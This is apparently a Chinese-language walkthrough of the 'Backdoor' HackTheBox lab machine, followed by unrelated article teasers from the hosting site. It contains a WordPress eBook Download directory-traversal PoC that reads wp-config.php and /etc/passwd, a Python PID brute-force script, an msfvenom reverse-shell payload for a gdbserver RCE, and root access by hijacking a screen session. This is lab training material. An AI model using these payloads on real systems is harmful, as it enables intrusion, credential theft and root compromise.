Linux/Backdoor

Backdoor

Enumeration

nmap

第一次扫描发现系统对外开放了22,80和1337端口,端口详细信息如下

22端口对应的是ssh服务,80端口使用Apache,title上写着backdoor,而且可以看出使用了wordpress,1337端口暂时还不能确定

TCP/80

访问页面,经典的wordpress风格,一访问页面就可以看到页面四个链接,分别是home,about,blog,contact,点击home跳转失败,显示无法识别域名backdoor.htb,需要将其添加到/etc/hosts中。剩下三个也只能看到一些基础信息,没什么好玩的

配置完成能够解析域名后,访问该链接,但是并没有发现什么可以利用的东西

可以尝试枚举一些目录,wordpress默认的插件安装目录是/wp-content/plugins

可以看到默认的index.php目录已经被删除,可以看到该目录下只有一个电子书下载的插件和一个hello.php,在电子书下载插件目录中,有一个readme文档,其中揭露了插件的版本为1.1

Exploitation

WordPress Plugin eBook Download 1.1 - Directory Traversal

在知道了一些基本信息后,可以搜索相关内容看看是否存在已知的漏洞,可以直接拿来利用

该目录遍历漏洞详情如下,可以看到我们需要能够访问filedownload.php文件,而在wp-content目录下确实有这个php文件,然后利用目录遍历去请求wp-config.php文件,从该文件的名字也能看出来其中包含了很多配置信息

# Exploit Title: Wordpress eBook Download 1.1 | Directory Traversal
# Exploit Author: Wadeek
# Website Author: https://github.com/Wad-Deek
# Software Link: https://downloads.wordpress.org/plugin/ebook-download.zip
# Version: 1.1
# Tested on: Xampp on Windows7[Version Disclosure]
======================================
http://localhost/wordpress/wp-content/plugins/ebook-download/readme.txt
======================================[PoC]
======================================
/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
======================================

按照上文Poc读取指定文件,然后在其中发现了一些有关数据库的凭据信息

有了一个密码,又存在LFI,考虑读取/etc/passwd内容,然后看某个用户能否使用数据库密码登录,有一个user用户,但是并不能成功登录ssh

/proc/{PID}/cmdline

在最开始发现系统还对外开放了1337端口,但是这个端口使用curl,ncat,telnet等方式均无法访问,因为存在LFI,可以读取远程主机中关于1337端口对应服务的信息

需要使用暴力破解/proc/{pid}/cmdline文件的方式来实现,在linux中,该文件用于显示运行对应PID进程时的命令,可以先运行一个tcpdump程序,使用ps -aux | grep tcpdump命令来查看相应程序的pid,最后查看/proc/{pid}/cmdline文件,现实的就是运行tcpdump的命令

运行tcpdump程序后查看相应程序的pid

将获取到的pid填入对应位置,查看15806,得到结果如下,显示了执行时的命令

Brute Force PID

现在,我们可以尝试利用burpsuite的暴力破解来看看1337端口到底在运行什么服务,通过简单测试,发现可行,那么只需要将请求包发送给intruder,然后检索1-1000的内容

也可以写python脚本来爆破,写一个pid的循环,然后请求url,最后打印输出

import requests
from bs4 import BeautifulSoupfor i in range(1,1000):url = "http://10.10.11.125/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/"+str(i)+"/cmdline"req = requests.get(url)print(req.text.replace('<script>window.close()</script>',''))

经过漫长的暴力破解,最终在pid为852的进程中看到了1337端口,运行着gdbserver

GDB是GNU项目的调试器,是一种调试工具,gdbserver是可以远程运行GDB的一个应用程序,搜索发现gdbserver 9.2版本存在rce漏洞

GNU gdbserver 9.2 - Remote Command Execution (RCE)

虽然暂时无法确定目标系统使用的版本,但是值得一试


msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.11 LPORT=4444 PrependFork=true -orev.bin

在本地监听4444端口,然后执行指令即可得到shell

Privilege Escalation

之前得到的密码也没起到什么作用,但是之前在爆破pid时还发现pid为850的进程是root运行的,可以看看是什么

screen是一个类似于tmux的终端多路复用器,可用于启动会话,然后在该会话内打开任意数量的虚拟终端,即使窗口不可见或者断开链接,在screen中运行的进程也将继续运行,会话分离时,最初从屏幕启动的进程仍在运行并由本身管理。

screen -dmS root意味着screen会话以分离模式启动,该会话被命名为“root”,,当创建新的屏幕会话时,会在/var/run/screen位置创建一个新目录,名称为s-{username},在此目录中使用屏幕会话名称创建屏幕会话文件,可以使用用户dotguy在本地创建一个屏幕会话,名称为test_session

用于附加到为不同用户创建的屏幕会话的默认屏幕语法是screen -x user/session_name

但是提示需要添加终端类型,可以输入以下指令

export TERM=xterm
screen -x root/root

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/771195.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

HyperWorks2023 下载地址及安装教程

HyperWorks是一套由Altair Engineering开发的集成化仿真平台。这个平台涵盖了许多不同领域的仿真和优化应用&#xff0c;包括结构分析、流体力学、多体动力学、优化、电磁场分析等。 HyperWorks提供了一系列强大的工具和模块&#xff0c;用于进行复杂的工程仿真和优化任务。它…

数据结构 之 队列习题 力扣oj(附加思路版)

优先级队列 #include<queue> --队列 和 优先级队列的头文件 优先级队列&#xff1a; 堆结构 最大堆 和 最小堆 相关函数&#xff1a; front() 获取第一个元素 back() 获取最后一个元素 push() 放入元素 pop() 弹出第一个元素 size() 计算队列中元素…

简单了解synchronized

什么是synchronized synchronized是Java提供的一个关键字&#xff0c;用于方法或者代码块&#xff0c;保证并发安全。 synchronized使用场景 同步代码块&#xff08;原子性&#xff09; synchronized可以用在方法上&#xff0c;或者用在代码块。 可锁的对象可以是普通对象…

【ZZULI数据结构实验一】多项式的三则运算

【ZZULI数据结构实验一】多项式的四则运算 ♋ 结构设计♋ 方法声明♋ 方法实现&#x1f407; 定义一个多项式类型并初始化---CreateDataList&#x1f407; 增加节点---Getnewnode&#x1f407; 打印多项式类型的数据-- PrintPoly&#x1f407; 单链表的尾插--Listpush_back&…

C++ 优先级与结合性

运算优先级和结合性 表达式有多种运算符混合使用时&#xff0c;求解表达式的值&#xff0c;首先要解决各种运算符的运算优先次序问题。即&#xff0c;优先级和结合性。 例如&#xff1a;下面表达式的值取决于5种运算符的优先次序。 优先级是指不同级别运算符之间的运算次序&am…

卡行领航家用户端是怎么拼团怎么挣钱的?

#领航家代理政策/怎么代理/奖金制度/双2.0模式# 全国V&#xff1a;ok1234vip 领航家用户端&#xff1a;0.52费率 一次拼团0.44费率 两次拼团0.36费率 三次拼团0.2费率 ………… 十次拼团&#xff0c;客户每月挣20480 领航家代理端&#xff1a;无押激活返现高达166/台 分润万5-万…

vue 中实现下载后端返回的流式数据

验证是否是blob /*** Event 验证是否为blob格式* */export async function blobValidate(data) {try {const text await data.text();JSON.parse(text);return false;} catch (error) {return true;}}get请求 /*** Event: get请求下载后端返回的数据流* description: url[Stri…

Flutter 旋转动画 线性变化的旋转动画

直接上代码 图片自己添加一张就好了 import dart:math;import package:flutter/material.dart;import package:flutter/animation.dart;void main() > runApp(MyApp()); //旋转动画 class MyApp extends StatelessWidget {overrideWidget build(BuildContext context) {re…

ESCTF-逆向赛题WP

ESCTF_reverse题解 逆吧腻吧babypybabypolyreeasy_rere1你是个好孩子完结撒花 Q_W_Q 逆吧腻吧 下载副本后无壳&#xff0c;直接拖入ida分析分析函数逻辑&#xff1a;ida打开如下&#xff1a;提取出全局变量res的数据后&#xff0c;编写异或脚本进行解密&#xff1a; a[0xBF, …

Spring Task 知识点详解、案例、源代码解析

简介&#xff1a;Spring Task 定时任务   所谓定时任务。就是依据我们设定的时间定时运行任务&#xff0c;就像定时发邮件一样&#xff0c;设定时间到了。邮件就会自己主动发送。 在Spring大行其道的今天&#xff0c;Spring也提供了其定时任务功能&#xff0c;Spring Task。同…

3.3 数据定义 数据库与系统概论

目录 3.3.1 模式的定义与删除 1. 定义模式 2. 删除模式 CASCADE&#xff08;级联&#xff09; RESTRICT&#xff08;限制&#xff09; 3.3.2 基本表的定义、删除与修改 表的定义 2.数据类型 3. 模式与表 4. 修改基本表 5. 删除基本表 3.3.3 索引的建立与删除 1. …

力扣刷题44-46(力扣0062/0152/0198)

62. 不同路径 题目描述&#xff1a; 一个机器人位于一个 m x n 网格的左上角 &#xff0c;机器人每次只能向下或者向右移动一步。机器人试图达到网格的右下角。问总共有多少条不同的路径&#xff1f; 思路&#xff1a; 其实就是问(0,0)->(m-1,n-1)一共有几条路。 第一个…

突破限制:亚信安慧AntDB高速处理能力的解密

AntDB不仅仅是一款优秀的数据库管理系统&#xff0c;更是一套提供丰富数据分析和处理工具的集合&#xff0c;它为用户提供了更多可能性&#xff0c;帮助他们深入理解数据、挖掘数据背后的价值。在当今信息爆炸的时代&#xff0c;数据已经成为企业决策的重要支撑&#xff0c;而A…

QT_day4:对话框

1、完善对话框&#xff0c;点击登录对话框&#xff0c;如果账号和密码匹配&#xff0c;则弹出信息对话框&#xff0c;给出提示”登录成功“&#xff0c;提供一个Ok按钮&#xff0c;用户点击Ok后&#xff0c;关闭登录界面&#xff0c;跳转到其他界面 如果账号和密码不匹配&…

ubuntu下安装minconda

1.搜索清华源 清华大学开源软件镜像站 | Tsinghua Open Source Mirror 2.搜索conda 3.选一个合适自己的下载到本地 4.将下载的文件传入到ubuntu中 bash Miniconda3-py311_23.11.0-1-Linux-x86_64.sh 安装 5.source ~/.bashrc 激活即可&#xff08;必要步骤&#xff09;

Qt实现简易的多线程TCP服务器(附源码)

目录 一.UI界面的设计 二.服务器的启动 三.实现自定义的TcpServer类 1.在widget中声明自定义TcpServer类的成员变量 2.在TcpServer的构造函数中对于我们声明的m_widget进行初始化&#xff0c;m_widget我们用于后续的显示消息等&#xff0c;说白了就是主界面的更新显示等 …

[JVM]——垃圾回收

学习内容&#xff1a; GC、垃圾回收器、垃圾回收算法 目录 一、GC垃圾回收算法 1.1 可达性分析法 1.1.1 GC ROOT对象&#xff1a; 1.1.3 四种引用方式&#xff1a; ⭐小结&#xff1a; 1.2 其他回收算法 二、详解分代回收法&#xff1a; 三、垃圾回收器 3.1 串行垃圾…

人才测评,招聘视频制作影视设计师岗位的测评方案

常见的酷炫的视频&#xff0c;短视频&#xff0c;以及广告特效&#xff0c;年会中的各种片子&#xff0c;可以说各种各样的视觉盛宴&#xff0c;它们可都是出自影视后期的设计之手&#xff0c;尤其是当下短视频的兴起&#xff0c;抖音快速阿婆主&#xff0c;直播带货和主播&…

git笔记之撤销、回退、reset方面的笔记

git笔记之撤销、回退、reset方面的笔记 code review! 文章目录 git笔记之撤销、回退、reset方面的笔记1.git 已经commit了&#xff0c;还没push&#xff0c;如何撤销到初始状态git reset --soft HEAD~1git reset HEAD~1&#xff08;等同于 git reset --mixed HEAD~1&#xff0…

二十二、软考-系统架构设计师笔记-真题解析-2018年真题

软考-系统架构设计师-2018年上午选择题真题 考试时间 8:30 ~ 11:00 150分钟 1.在磁盘调度管理中&#xff0c;应先进行移臂调度&#xff0c;再进行旋转调度。假设磁盘移动臂位于21号柱面上&#xff0c;进程的请求序列如下表所示。如果采用最短移臂调度算法&#xff0c;那么系统…